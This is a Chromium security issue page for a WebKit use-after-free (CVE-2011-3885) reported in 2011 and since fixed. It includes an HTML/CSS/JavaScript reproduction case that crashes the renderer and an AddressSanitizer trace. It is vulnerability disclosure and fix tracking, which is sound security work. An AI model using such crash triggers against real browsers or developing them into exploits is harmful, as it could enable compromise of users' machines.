New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Oct 2011
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment
Generic fix: Register custom fonts at creation time, rather than retire time.
Reported by miau...@gmail.com, Oct 12 2011 Back to list
VULNERABILITY DETAILS
first-letter + missing font -> use-after-free

VERSION
Chrome Version: 
Chromium	16.0.906.0 (Developer Build 105053)
OS	Linux
WebKit	535.7 (trunk@97251)
JavaScript	V8 3.6.6.1

Operating System: 64bit linux

REPRODUCTION CASE
<html>
  <head>
    <style>
      @font-face { font-family: A; src: url(); }
      #y { font-family: A; }
      #y:first-letter {
        content: "first-letter";
      }
    </style>
  </head>
  <body>
    <div id="y">content</div>
  </body>

  <script>
    document.designMode='on'
    document.execCommand('selectall')
  </script>
  <style>
    #y:before {
      content: "before";
    }
  </style>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer
Crash State: 

==23283== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffe379a890 at pc 0x7ffff3533827 bp 0x7fffffff7510 sp 0x7fffffff74e0
READ of size 4 at 0x7fffe379a890 thread T0
    #0 0x7ffff3533827 in WebCore::FontMetrics::hasIdenticalAscentDescentAndLineGap(WebCore::FontMetrics const&) const ???:0

0x7fffe379a890 is located 16 bytes inside of 1208-byte region [0x7fffe379a880,0x7fffe379ad38)
freed by thread T0 here:
    #0 0x7ffff5db2e56 in free _asan_rtl_
    #1 0x7ffff34df2dd in WebCore::CSSFontFaceSource::pruneTable() ???:0


 
first-letter.txt
9.9 KB View Download
first-letter.html
410 bytes View Download
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecSeverity-High OS-All Mstone-15
Status: Available
Labels: reward-topanel
Owner: infe...@chromium.org
Status: Started
Summary: Generic fix: Register custom fonts at creation time, rather than retire time. (was: NULL)
 Issue 99018  has been merged into this issue.
 Issue 100241  has been merged into this issue.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify ReleaseBlock-Stable SecImpacts-Stable SecImpacts-Beta Merge-Merged merge-merged-874
Status: FixUnreleased
Fixed in http://trac.webkit.org/changeset/97402

merged to m15 in http://trac.webkit.org/changeset/97403
Labels: -reward-topanel reward-1337 reward-unpaid
@miaubiz: thanks for harassing us to the extend of applying a generic fix for this class of bugs. $1337 for this hopefully now closed chapter

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3885
Labels: -reward-unpaid
Payment in system, can take up to a couple of weeks.
Comment 9 by cdn@chromium.org, May 15 2012
Status: Fixed
Marking old security bugs Fixed..
Project Member Comment 10 by bugdroid1@chromium.org, Oct 13 2012
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Comment 11 by laforge@google.com, Jan 18 2013
Labels: Restrict-View-EditIssue
Project Member Comment 12 by bugdroid1@chromium.org, Mar 10 2013
Labels: -Type-Security -Area-WebKit -SecSeverity-High -Mstone-15 -SecImpacts-Stable -SecImpacts-Beta Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High M-15 Type-Bug-Security
Project Member Comment 13 by bugdroid1@chromium.org, Mar 13 2013
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member Comment 15 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Severity-High Security_Severity-High
Project Member Comment 16 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member Comment 17 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member Comment 18 by bugdroid1@chromium.org, Apr 6 2013
Labels: -Cr-Content Cr-Blink
Project Member Comment 19 by sheriffbot@chromium.org, Jun 14 2016
Labels: -security_impact-beta
Project Member Comment 20 by sheriffbot@chromium.org, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 21 by sheriffbot@chromium.org, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment